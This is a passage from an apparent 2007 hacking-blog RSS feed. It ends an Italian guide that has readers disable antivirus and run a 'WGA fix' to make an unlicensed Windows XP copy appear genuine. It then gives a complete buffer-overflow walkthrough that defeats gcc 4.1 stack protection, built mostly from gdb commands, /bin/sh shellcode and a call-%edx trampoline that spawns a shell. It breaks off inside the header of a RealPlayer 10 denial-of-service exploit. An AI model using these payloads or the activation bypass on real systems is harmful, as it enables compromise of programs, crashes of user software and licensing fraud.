<strong>Passo 2</strong>: [<strong>Per evitare blocchi e interferenze disattiva momentaneamente l'antivirus</strong>] Eseguire il file <strong>Keyfinder.exe</strong>. Viene mostrato il vecchio seriale. Per cambiarlo con il nuovo: <strong>Options/Change Windows Key</strong>.</p>
<p><img src="http://img517.imageshack.us/img517/4924/passo3sm7.jpg" alt="passo3" /><br />
Inserire il nuovo seriale di cui siete in possesso(passo1) e cliccare <strong>Change</strong> e <strong>OK</strong></p>
<p><img src="http://img45.imageshack.us/img45/6333/passo4qv8.jpg" alt="passo4" /><br />
<strong>Passo 3</strong>: Eseguire <strong>WGA fix.exe</strong> e cliccare <strong>Si</strong>.</p>
<p><img src="http://img45.imageshack.us/img45/3269/passo5tj7.jpg" alt="passo5" /><br />
<strong>Passo 4</strong>: Per eseguire <strong>MGADiad.exe</strong> (per verificare che la copia è diventata genuina) cliccare <strong>Continue</strong></p>
<p><img src="http://img517.imageshack.us/img517/9725/passo6vm5.jpg" alt="passo6" /><br />
<strong>Fine</strong>: Controllare Validation Status, nell aprima riga in alto. Se indica Genuine la copia di Windows Xp è regolarmente valida e non avrete mai più il problema WGA.</p>
<p><img src="http://img45.imageshack.us/img45/1993/passo7gy7.jpg" alt="passo7" /><br />
Dopo aver applicato la patch è possibile scaricare tutto gli aggiornamenti che si desiderano</p>
<p><img src="http://img469.imageshack.us/img469/5959/passo8nf1.jpg" alt="passo8" /><br />
Ulteriore immagine che conferma l&#8217;installazione di patch scaricate dal sito dopo aver applicare la genuinità permanente.</p>
<p>Guida Di Proprietà De <a href="http://cala79.blog.excite.it/permalink/475132">Le Chicce Di Cala</a></p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/hackatwork.wordpress.com/250/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/hackatwork.wordpress.com/250/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hackatwork.wordpress.com/250/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hackatwork.wordpress.com/250/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hackatwork.wordpress.com/250/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hackatwork.wordpress.com/250/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hackatwork.wordpress.com/250/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hackatwork.wordpress.com/250/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hackatwork.wordpress.com/250/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hackatwork.wordpress.com/250/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hackatwork.wordpress.com/250/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hackatwork.wordpress.com/250/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hackatwork.wordpress.com/250/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hackatwork.wordpress.com/250/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hackatwork.wordpress.com/250/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hackatwork.wordpress.com/250/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackatwork.wordpress.com&amp;blog=1105648&amp;post=250&amp;subd=hackatwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hackatwork.wordpress.com/2007/05/07/rendere-la-copia-di-windows-xp-genuina-e-risolvere-definitivamente-il-problema-wga/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e3ac2006bf0a31f8ea8e7d90951cd247?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">regisinferni</media:title>
		</media:content>

		<media:content url="http://img412.imageshack.us/img412/4953/wphk6.png" medium="image">
			<media:title type="html">wp</media:title>
		</media:content>

		<media:content url="http://img527.imageshack.us/img527/9011/wga1uw8.jpg" medium="image">
			<media:title type="html">wga1</media:title>
		</media:content>

		<media:content url="http://img223.imageshack.us/img223/4415/wga2nf9.jpg" medium="image">
			<media:title type="html">wga2</media:title>
		</media:content>

		<media:content url="http://img99.imageshack.us/img99/2203/passo1zn5.jpg" medium="image">
			<media:title type="html">passo1</media:title>
		</media:content>

		<media:content url="http://img69.imageshack.us/img69/3396/passo2ma9.jpg" medium="image">
			<media:title type="html">passo2</media:title>
		</media:content>

		<media:content url="http://img517.imageshack.us/img517/4924/passo3sm7.jpg" medium="image">
			<media:title type="html">passo3</media:title>
		</media:content>

		<media:content url="http://img45.imageshack.us/img45/6333/passo4qv8.jpg" medium="image">
			<media:title type="html">passo4</media:title>
		</media:content>

		<media:content url="http://img45.imageshack.us/img45/3269/passo5tj7.jpg" medium="image">
			<media:title type="html">passo5</media:title>
		</media:content>

		<media:content url="http://img517.imageshack.us/img517/9725/passo6vm5.jpg" medium="image">
			<media:title type="html">passo6</media:title>
		</media:content>

		<media:content url="http://img45.imageshack.us/img45/1993/passo7gy7.jpg" medium="image">
			<media:title type="html">passo7</media:title>
		</media:content>

		<media:content url="http://img469.imageshack.us/img469/5959/passo8nf1.jpg" medium="image">
			<media:title type="html">passo8</media:title>
		</media:content>
	</item>
		<item>
		<title>Buffer Overflow testing on gentoo gcc 4.1.1</title>
		<link>http://hackatwork.wordpress.com/2007/05/06/buffer-overflow-testing-on-gentoo-gcc-411/</link>
		<comments>http://hackatwork.wordpress.com/2007/05/06/buffer-overflow-testing-on-gentoo-gcc-411/#comments</comments>
		<pubDate>Sun, 06 May 2007 14:34:24 +0000</pubDate>
		<dc:creator>regisinferni</dc:creator>
				<category><![CDATA[Exploit]]></category>

		<guid isPermaLink="false">http://hackatwork.wordpress.com/2007/05/06/buffer-overflow-testing-on-gentoo-gcc-411/</guid>
		<description><![CDATA[Content : i. Introduction ii. Overwritting %eip ? iii. Quick fix ? iv. call %edx &#160; ** [ i. Introduction ] ** This small note will talk about how randomzie allocated stack like protection in gcc 4.1 can protect from being overflowed. My testing enviroment will base on Q2.2007 Gentoo. with gcc 4.1.1. When gcc [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackatwork.wordpress.com&amp;blog=1105648&amp;post=249&amp;subd=hackatwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<pre>Content :
        i. Introduction
       ii. Overwritting %eip ?
      iii. Quick fix ?
       iv. call %edx</pre>
<p align="center">&nbsp;</p>
<pre><a href="http://www.hackatwork.org/wp-content/uploads/2007/05/tux-samourai_overlord59-tux.png" title="tuxsamurai">
<p style="text-align:center;"><img src="http://www.hackatwork.org/wp-content/uploads/2007/05/tux-samourai_overlord59-tux.png" alt="tuxsamurai" />

</a></pre>
<p align="center"><span id="more-249"></span></p>
<pre>
** [ i. Introduction ] **

This small note will talk about how randomzie allocated stack like
protection in gcc 4.1 can protect from being overflowed.

My testing enviroment will base on Q2.2007 Gentoo. with gcc 4.1.1.

When gcc 3.4 came out, they intoroduce some new protections into the compiler.
The whole idea is to protect vuln. binary being exploite and harder to smash the stack.

I mean HARDER.

Again, in gcc 4.1. There are something new and also interesting.
        From : http://gcc.gnu.org/gcc-4.1/changes.html

        *  GCC can now emit code for protecting applications from stack-smashing attacks.
        The protection is realized by buffer overflow detection and reordering
        of stack variables to avoid pointer corruption.

        * Some built-in functions have been fortified to protect them against various
        buffer overflow (and format string) vulnerabilities. Compared to the mudflap bounds
        checking feature, the safe builtins have far smaller overhead. This means that programs
        built using safe builtins should not experience any measurable slowdown.

System Overview :

OS :            Linux
Distro :        Gentoo , Q2 2007
                - Gentoo Kernel
                - Linux mybox 2.6.19-gentoo-r5

GCC's Version and compile option. Gentoo's emerge.

$ gcc -v
Using built-in specs.
Target: i686-pc-linux-gnu
Configured with:
/var/tmp/portage/sys-devel/gcc-4.1.1-r3/work/gcc-4.1.1/configure
--prefix=/usr --bindir=/usr/i686-pc-linux-gnu/gcc-bin/4.1.1
--includedir=/usr/lib/gcc/i686-pc-linux-gnu/4.1.1/include
--datadir=/usr/share/gcc-data/i686-pc-linux-gnu/4.1.1
--mandir=/usr/share/gcc-data/i686-pc-linux-gnu/4.1.1/man
--infodir=/usr/share/gcc-data/i686-pc-linux-gnu/4.1.1/info
--with-gxx-include-dir=/usr/lib/gcc/i686-pc-linux-gnu/4.1.1/include/g++-v4
--host=i686-pc-linux-gnu --build=i686-pc-linux-gnu --disable-altivec
--enable-nls --without-included-gettext --with-system-zlib --disable-checking
--disable-werror --enable-secureplt --disable-libunwind-exceptions --disable-multilib
--disable-libmudflap --disable-libssp --disable-libgcj --enable-languages=c,c++,fortran
--enable-shared --enable-threads=posix --enable-__cxa_atexit --enable-clocale=gnu
Thread model: posix
gcc version 4.1.1 (Gentoo 4.1.1-r3)

** [ ii. Overwritting %eip ? ] **

The classic example (Gera's Law):

[File : abo1.c ]
/* abo1.c                                       */
/* specially crafted to feed your brain by gera */
/* Dumb example to let you get introduced...    */
/* edited by : xWinGs @ xWinGs . net */

#include&lt;stdio.h&gt;

int main(int argv,char **argc) {
        char buf[512];

        if (argv &lt; 2)
        {
                printf ("Error !!!n");
                exit (1);
        }
        strcpy(buf,argc[1]);
        printf("Input : %sn",buf);
}
[ abo1.c : EOF ]

Compile and run.

$ gcc -o abo1 abo1.c
$ gdb ./abo1

gdb&gt;r   `ruby -e 'print "A" * 200;print "B" * 50;print "C" * 50;print "D" * 50;
        print "E" * 50;print "F" * 50;print "G" * 25;print "H" * 25;print "I" * 12'`

Failed to read a valid object file image from memory.
Input : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA .. [and more]

Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
eax:00000209 ebx:B7FACFF4  ecx:BFCEB300  edx:00000000     eflags:00210282
esi:B7FE0CA0 edi:00000000  esp:BFCEB300  ebp:BFCEB408     eip:45454545
cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t S z a p c
[007B:BFCEB300]---------------------------------------------------------[stack]
BFCEB330 : 46 46 46 46  46 46 46 46 - 46 46 46 46  46 46 46 46 FFFFFFFFFFFFFFFF
BFCEB320 : 45 45 45 45  46 46 46 46 - 46 46 46 46  46 46 46 46 EEEEFFFFFFFFFFFF
BFCEB310 : 45 45 45 45  45 45 45 45 - 45 45 45 45  45 45 45 45 EEEEEEEEEEEEEEEE
BFCEB300 : 45 45 45 45  45 45 45 45 - 45 45 45 45  45 45 45 45 EEEEEEEEEEEEEEEE
[007B:B7FE0CA0]---------------------------------------------------------[ data]
B7FE0CA0 : 00 00 00 00  00 10 00 00 - 13 06 02 00  DB B5 CE BF ................
B7FE0CB0 : 04 00 00 00  70 46 FC B7 - 03 00 00 00  64 00 00 00 ....pF......d...
[0073:45454545]---------------------------------------------------------[ code]
0x45454545:     Error while running hook_stop:
Cannot access memory at address 0x45454545
0x45454545 in ?? ()

First test, we are taking control of %eip. Total of 512 bytes will be good enought to
cover the %eip.

gdb&gt;r   `ruby -e 'print "A" * 200;print "B" * 50;print "C" * 50;print "D" * 50;
        print "E" * 50;print "F" * 50;print "G" * 25;print "H" * 25;print "I" * 12'`
Failed to read a valid object file image from memory.
Input : AAAAAAAAAAAAAAAAAAAAAAAAAAAA .. [and more]
Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
eax:00000209 ebx:B7F2EFF4  ecx:BF85D700  edx:00000000     eflags:00210282
esi:B7F62CA0 edi:00000000  esp:BF85D700  ebp:BF85D778     eip:49494949
cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t S z a p c
[007B:BF85D700]---------------------------------------------------------[stack]
BF85D730 : 00 00 00 00  A0 66 F4 B7 - 01 00 00 00  01 00 00 00 .....f..........
BF85D720 : 02 00 00 00  A4 D7 85 BF - B0 D7 85 BF  B4 56 F5 B7 .............V..
BF85D710 : A0 2C F6 B7  E0 84 04 08 - 78 D7 85 BF  38 08 E2 B7 .,......x...8...
BF85D700 : 49 49 49 49  00 D7 85 BF - 78 D7 85 BF  38 08 E2 B7 IIII....x...8...
[007B:B7F62CA0]---------------------------------------------------------[ data]
B7F62CA0 : 00 00 00 00  00 10 00 00 - 13 06 02 00  4B D9 85 BF ............K...
B7F62CB0 : 04 00 00 00  70 66 F4 B7 - 03 00 00 00  64 00 00 00 ....pf......d...
[0073:49494949]---------------------------------------------------------[ code]
0x49494949:     Error while running hook_stop:
Cannot access memory at address 0x49494949
0x49494949 in ?? ()

If we run this again, the %eip location seems to be changing. There is a randomized
kind of protection build in to gcc.

What if we put in [512] + 4. What will happend ?

gdb&gt;r `ruby -e 'print "A" * 512;print "B" * 4'`
Failed to read a valid object file image from memory.
Input : AAAAAAAA.......AAABBBB

Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
     eax:0000020D ebx:B7F10FF4  ecx:42424242  edx:00000000     eflags:00210282
     esi:B7F44CA0 edi:00000000  esp:4242423E  ebp:BF9E1F00     eip:080484C2
     cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t S z a p c
[007B:4242423E]---------------------------------------------------------[stack]
4242426E : Error while running hook_stop:
Cannot access memory at address 0x4242426a   &lt;------ Suppose to be 0x42424242
0x080484c2 in main ()

If the buffer more then 512, it will take in [512] + 4, the last 4 bytes with the last byte
corrupted.

It seems like we can overwrite the last 4 bytes. But the last 1 byte in the 4 bytes seems to be
change. So , by doing some adjustment will make it goes back to normal.

gdb&gt;r `ruby -e 'print "A" * 512;print "x16x42x42x42"'`
Failed to read a valid object file image from memory.
Input : AAAAAAA.....AAABBB

Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
     eax:0000020D ebx:B7F0FFF4  ecx:42424216  edx:00000000     eflags:00210282
     esi:B7F43CA0 edi:00000000  esp:42424212  ebp:BFA6F600     eip:080484C2
     cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t S z a p c
[007B:42424212]---------------------------------------------------------[stack]
42424242 : Error while running hook_stop:
Cannot access memory at address 0x42424242 &lt;------ Back to 0x42424242
0x080484c2 in main ()

Sometimes, by putting in 512 bytes it will still not possible to overflow.

gdb&gt;r   `ruby -e 'print "A" * 200;print "B" * 50;print "C" * 50;print "D" * 50;
        print "E" * 50;print "F" * 50;print "G" * 25;print "H" * 25;print "I" * 12'`
Failed to read a valid object file image from memory.
Input : AAAAAAAAAAAAAAAAAAAAAAAAAAAAA .. [and more]

Program exited with code 011.
_______________________________________________________________________________
Error while running hook_stop:
No registers.

Thish means there is no way for us to fix the eip and trow in the ret address.
Izik's method using [nop + jmp esp + nop shellcode] will not work anymore.
At least at this case.

** [ iii. Quick fix ? ] **

If we follow izik's paper : * 0xffffe75b : jmp *%esp.

gdb&gt;r   `ruby -e 'print "x5bxe7xffxff" * 10;print "x41" * 76;
        print "x5bxe7xffxff" * 15;print "x90" * 80;print "x0axe7xffxff"'`
Failed to read a valid object file image from memory.

Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
     eax:BFFDE654 ebx:FFFFE75B  ecx:BFFDE700  edx:BFFDF2FE     eflags:00210282
     esi:B7F56CA0 edi:00000000  esp:BFFDE704  ebp:BFFDE7C8     eip:BFFDE701
     cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t S z a p c
[007B:BFFDE704]---------------------------------------------------------[stack]
BFFDE734 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFDE724 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFDE714 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFDE704 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
[007B:B7F56CA0]---------------------------------------------------------[ data]
B7F56CA0 : 00 00 00 00  00 10 00 00 - 13 06 02 00  AB E9 FD BF ................
B7F56CB0 : 04 00 00 00  70 A6 F3 B7 - 03 00 00 00  64 00 00 00 ....p.......d...
[0073:BFFDE701]---------------------------------------------------------[ code]
0xbffde701:     out    0xff,eax
0xbffde703:     call   DWORD PTR [eax-0x6f6f6f70]
0xbffde709:     nop
0xbffde70a:     nop
0xbffde70b:     nop
0xbffde70c:     nop
------------------------------------------------------------------------------
0xbffde701 in ?? ()
gdb&gt;x/5s $esp
0xbffde704:      '220' &lt;repeats 80 times&gt;
0xbffde755:      "�����8Hᷠl��203�04b���8H��03"
0xbffde772:      ""
0xbffde773:      ""
0xbffde774:      "����04��226�"

Or we put in shellcodes.

gdb&gt;r   `ruby -e 'print "x5cxe7xffxff" * 10;print "x41" * 76;
        print "x5bxe7xffxff" * 15;print "x90" * 46;
        print "x31xdbxb0x17xcdx80xb0x2excdx80x31xc0x50";
        print "x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x99x52";
        print "x53x89xe1xb0x0bxcdx80";print "x0axe7xffxff"'`
Failed to read a valid object file image from memory.
Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
     eax:BFFD9654 ebx:FFFFE75B  ecx:BFFD9700  edx:BFFDB2FE     eflags:00210282
     esi:B7F93CA0 edi:00000000  esp:BFFD9704  ebp:BFFD97C8     eip:BFFD9701
     cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t S z a p c
[007B:BFFD9704]---------------------------------------------------------[stack]
BFFD9734 : B0 17 CD 80  B0 2E CD 80 - 31 C0 50 68  6E 2F 73 68 ........1.Phn/sh
BFFD9724 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 31 DB ..............1.
BFFD9714 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
BFFD9704 : 90 90 90 90  90 90 90 90 - 90 90 90 90  90 90 90 90 ................
[007B:B7F93CA0]---------------------------------------------------------[ data]
B7F93CA0 : 00 00 00 00  00 10 00 00 - 13 06 02 00  AB 99 FD BF ................
B7F93CB0 : 04 00 00 00  70 76 F7 B7 - 03 00 00 00  64 00 00 00 ....pv......d...
[0073:BFFD9701]---------------------------------------------------------[ code]
0xbffd9701:     out    0xff,eax
0xbffd9703:     call   DWORD PTR [eax-0x6f6f6f70]
0xbffd9709:     nop
0xbffd970a:     nop
0xbffd970b:     nop
0xbffd970c:     nop
------------------------------------------------------------------------------
0xbffd9701 in ?? ()
gdb&gt;x/5s $esp
0xbffd9704:      '220' &lt;repeats 46 times&gt;, "1۰�27�200�.�2001�Phn/shh//bi
                211�231RS211�v�200"
0xbffd9755:      "227��227�8�30巠&lt;��203�04b�227�8�30��03"
0xbffd9772:      ""
0xbffd9773:      ""
0xbffd9774:      "�227��04230�f�"
gdb&gt;x/5s $eip
0xbffd9701:      "���", '220' &lt;repeats 46 times&gt;, "1۰�27�200�.�2001�Phn/
                shh//bi211�231RS211�v�200"
0xbffd9755:      "227��227�8�30巠&lt;��203�04b�227�8�30��03"
0xbffd9772:      ""
0xbffd9773:      ""
0xbffd9774:      "�227��04230�f�"

What can we see from here ? jmp *%esp did not really work.
It copies the extra 4 bytes as the %esp header.
[512] + 4 , 4 extra bytes.

There is a quick and dirty way to bypass all these. This method we gonna talk about
only good for local exploit. Not remote.

So, this are the few things I discover during the testing process.
        i. jmp %esp is not possible for me.
        ii. [buffer] + 4 is not possible also (atm , maybe ?)

Good thing about [buffer] + 4 will fix the ret address at the last 4 bytes,
but our major objective is to exec() the shellcode.

** [ iv. call %edx ] **

Again, the golden example,

$ cat abo1.c
#include&lt;stdio.h&gt;

int main(int argc,char **argv) {
        char buf[256];

        strcpy(buf,argv[1]);
}

Here is a quick and dirty way to by pass the protection.
If the overflow happends again.

gdb&gt;r `ruby -e 'print "x41" * 256'`
Failed to read a valid object file image from memory.

Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
     eax:BFE16D34 ebx:B7EE2FF4  ecx:BFE16E00  edx:BFE17392     eflags:00210282
     esi:B7F16CA0 edi:00000000  esp:BFE16E00  ebp:BFE16EA8     eip:41414141
     cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t S z a p c
[007B:BFE16E00]---------------------------------------------------------[stack]
BFE16E30 : 41 41 41 41  00 6E E1 BF - A8 6E E1 BF  38 48 DD B7 AAAA.n...n..8H..
BFE16E20 : 41 41 41 41  41 41 41 41 - 41 41 41 41  41 41 41 41 AAAAAAAAAAAAAAAA
BFE16E10 : 41 41 41 41  41 41 41 41 - 41 41 41 41  41 41 41 41 AAAAAAAAAAAAAAAA
BFE16E00 : 41 41 41 41  41 41 41 41 - 41 41 41 41  41 41 41 41 AAAAAAAAAAAAAAAA
[007B:B7F16CA0]---------------------------------------------------------[ data]
B7F16CA0 : 00 00 00 00  00 10 00 00 - 13 06 02 00  7B 70 E1 BF ............{p..
B7F16CB0 : 04 00 00 00  70 A6 EF B7 - 03 00 00 00  64 00 00 00 ....p.......d...
[0073:41414141]---------------------------------------------------------[ code]
0x41414141:     Error while running hook_stop:
Cannot access memory at address 0x41414141
0x41414141 in ?? ()
gdb&gt;x/s $edx
0xbfe17392:      "LC_PAPER=en_US"

Clearly, $edx is going back the the stack. So jmp %edx or call %edx will help in this case.
To look for the right jump

$ objdump -d ./abo1 | grep edx | grep call
 8048369:       ff d2                   call   *%edx

There are two things need to be fufilled.
        i. Buffer sized need to be 256
        ii. Ret address is randomized. It will be anywhere within the stack.

In order to fix this part. We need to fill the stack with %edx address.

gdb&gt;r `ruby -e 'print "x69x83x04x08" * 64'`
Failed to read a valid object file image from memory.

Program received signal SIGSEGV, Segmentation fault.
_______________________________________________________________________________
     eax:BF90E78D ebx:B7F53FF5  ecx:BF90E802  edx:BF910302     eflags:00210A96
     esi:B7F87C9F edi:04836B08  esp:BF90E7E7  ebp:BF90E909     eip:BF91031E
     cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    O d I t S z A P c
[007B:BF90E7E7]---------------------------------------------------------[stack]
BF90E817 : 08 69 83 04  08 69 83 04 - 08 69 83 04  08 69 83 04 .i...i...i...i..
BF90E807 : 08 69 83 04  08 69 83 04 - 08 69 83 04  08 69 83 04 .i...i...i...i..
BF90E7F7 : 94 E7 90 BF  94 E7 90 BF - 08 69 83 04  08 69 83 04 .........i...i..
BF90E7E7 : EB E7 90 BF  94 E7 90 BF - F5 3F F5 B7  02 03 91 BF .........?......
[007B:B7F87C9F]---------------------------------------------------------[ data]
B7F87C9F : 00 00 00 00  00 00 10 00 - 00 13 06 02  00 DB EA 90 ................
B7F87CAF : BF 04 00 00  00 70 B6 F6 - B7 03 00 00  00 64 00 00 .....p.......d..
[0073:BF91031E]---------------------------------------------------------[ code]
0xbf91031e:     ins    BYTE PTR es:[edi],[dx]
0xbf91031f:     outs   [dx],DWORD PTR ds:[esi]
0xbf910320:     arpl   WORD PTR [ecx+108],sp
0xbf910323:     das
0xbf910324:     jae    0xbf91038e
0xbf910326:     popa
------------------------------------------------------------------------------
0xbf91031e in ?? ()
gdb&gt;x/5s $edx
0xbf910302:      "LC_PAPER=en_US"
0xbf910311:      "MANPATH=/usr/local/share/man:/usr/share/man:/usr/share/binutilsdata
                  /i686-pc-linux-gnu/2.16.1/man:/usr/share/gcc-data/i686-pc-linux-gnu
                  /4.1.1/man:/usr/qt/3/doc/man:/opt/vmware/workstation/man"
0xbf9103d1:      "KDE_MULTIHEAD=false"
0xbf9103e5:      "LC_ADDRESS=en_US"
0xbf9103f6:      "LC_MONETARY=en_US"
gdb&gt;x/5s $eip
0xbf91031e:      "local/share/man:/usr/share/man:/usr/share/binutils-data/
                  i686-pc-linux-gnu/2.16.1/man:/usr/share/gcc-data/i686-pc-linux-gnu
                  /4.1.1/man:/usr/qt/3/doc/man:/opt/vmware/workstation/man"
0xbf9103d1:      "KDE_MULTIHEAD=false"
0xbf9103e5:      "LC_ADDRESS=en_US"
0xbf9103f6:      "LC_MONETARY=en_US"
0xbf910408:      "MRXVT_TABTITLE=Terminal"

If %eip starts at somewhere in side $MANPATH. Replacing values within $MANPATH will work ?

$ export        MANPATH="/usr/`ruby -e 'print "x31xdbxb0x17xcdx80xb0x2excdx80x31xc0
                x50x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x99x52x53x89xe1xb0x0bxcdx80"'`"

$ gdb -q ./abo1
gdb&gt;r `ruby -e 'print "x69x83x04x08" * 64'`
Failed to read a valid object file image from memory.
sh-3.1$ uname -a
Linux muscat 2.6.19-gentoo-r5 #10 SMP Sat Feb 24 02:23:15 MYT 2007 i686 Genuine Intel(R) CPU

Bingo !!</pre>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/hackatwork.wordpress.com/249/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/hackatwork.wordpress.com/249/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hackatwork.wordpress.com/249/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hackatwork.wordpress.com/249/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hackatwork.wordpress.com/249/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hackatwork.wordpress.com/249/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hackatwork.wordpress.com/249/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hackatwork.wordpress.com/249/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hackatwork.wordpress.com/249/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hackatwork.wordpress.com/249/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hackatwork.wordpress.com/249/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hackatwork.wordpress.com/249/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hackatwork.wordpress.com/249/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hackatwork.wordpress.com/249/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hackatwork.wordpress.com/249/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hackatwork.wordpress.com/249/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackatwork.wordpress.com&amp;blog=1105648&amp;post=249&amp;subd=hackatwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hackatwork.wordpress.com/2007/05/06/buffer-overflow-testing-on-gentoo-gcc-411/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e3ac2006bf0a31f8ea8e7d90951cd247?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">regisinferni</media:title>
		</media:content>

		<media:content url="http://www.hackatwork.org/wp-content/uploads/2007/05/tux-samourai_overlord59-tux.png" medium="image">
			<media:title type="html">tuxsamurai</media:title>
		</media:content>
	</item>
		<item>
		<title>RealPlayer 10 (.ra file) Remote Denial of Service Exploit</title>
		<link>http://hackatwork.wordpress.com/2007/05/06/realplayer-10-ra-file-remote-denial-of-service-exploit/</link>
		<comments>http://hackatwork.wordpress.com/2007/05/06/realplayer-10-ra-file-remote-denial-of-service-exploit/#comments</comments>
		<pubDate>Sun, 06 May 2007 14:31:00 +0000</pubDate>
		<dc:creator>regisinferni</dc:creator>
				<category><![CDATA[Exploit]]></category>

		<guid isPermaLink="false">http://hackatwork.wordpress.com/2007/05/06/realplayer-10-ra-file-remote-denial-of-service-exploit/</guid>
		<description><![CDATA[#!/usr/bin/python &#160; &#160; ### #*Real player 10 Gold .Ra file remote Dos. #Credits to n00b for finding this bug #This bug is a nasty memory leak with in #Real player 10 gold please remember if #your guna test it out save all your info #you need first..Coz your probly guna have #to reboot also remember [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackatwork.wordpress.com&amp;blog=1105648&amp;post=247&amp;subd=hackatwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<pre>#!/usr/bin/python</pre>
<p align="center">&nbsp;</p>
<pre><a href="http://www.hackatwork.org/wp-content/uploads/2007/05/tux-matrix_overlord59-tux.png" title="tuxmatrix">
<p style="text-align:center;"><img src="http://www.hackatwork.org/wp-content/uploads/2007/05/tux-matrix_overlord59-tux.png" alt="tuxmatrix" />

</a></pre>
<p align="center">&nbsp;</p>
<pre></pre>
<p align="center"><span id="more-247"></span></p>
<pre>###
#*Real player 10 Gold .Ra file remote Dos.
#Credits to n00b for finding this bug
#This bug is a nasty memory leak with in
#Real player 10 gold please remember if
#your guna test it out save all your info
#you need first..Coz your probly guna have
#to reboot also remember all other applications
#will be deprived of page memory so other
#applications might fail upon execution
###
#Tested: On win xp sp 1 / sp 2.
################################################################################
#Pf usage will go from around 120mb-1.40gb
#I've provided the following debug info also
#What i could collect from the crash dump..
#No vital memory address where over written
#Just a nasty memory leak.
################################################################################
#Executable search path is:
#Windows XP Version 2600 (Service Pack 2) UP Free x86 compatible
#Product: WinNt, suite: SingleUserTS Personal
#Debug session time: Sun Apr 29 13:45:27.000 2007 (GMT-7)
#System Uptime: 0 days 0:47:42.649
#Process Uptime: 0 days 0:01:39.000
################################################################################
#This dump file has an exception of interest stored in it.
#The stored exception information can be accessed via .ecxr.
#(420.4a0): Access violation - code c0000005 (first/second chance not available)
#eax=00000001 ebx=00000000 ecx=00000000 edx=00780764 esi=00785110 edi=6334def8
#eip=632164b5 esp=0012ddc8 ebp=0012dfdc iopl=0         nv up ei pl zr na pe nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246
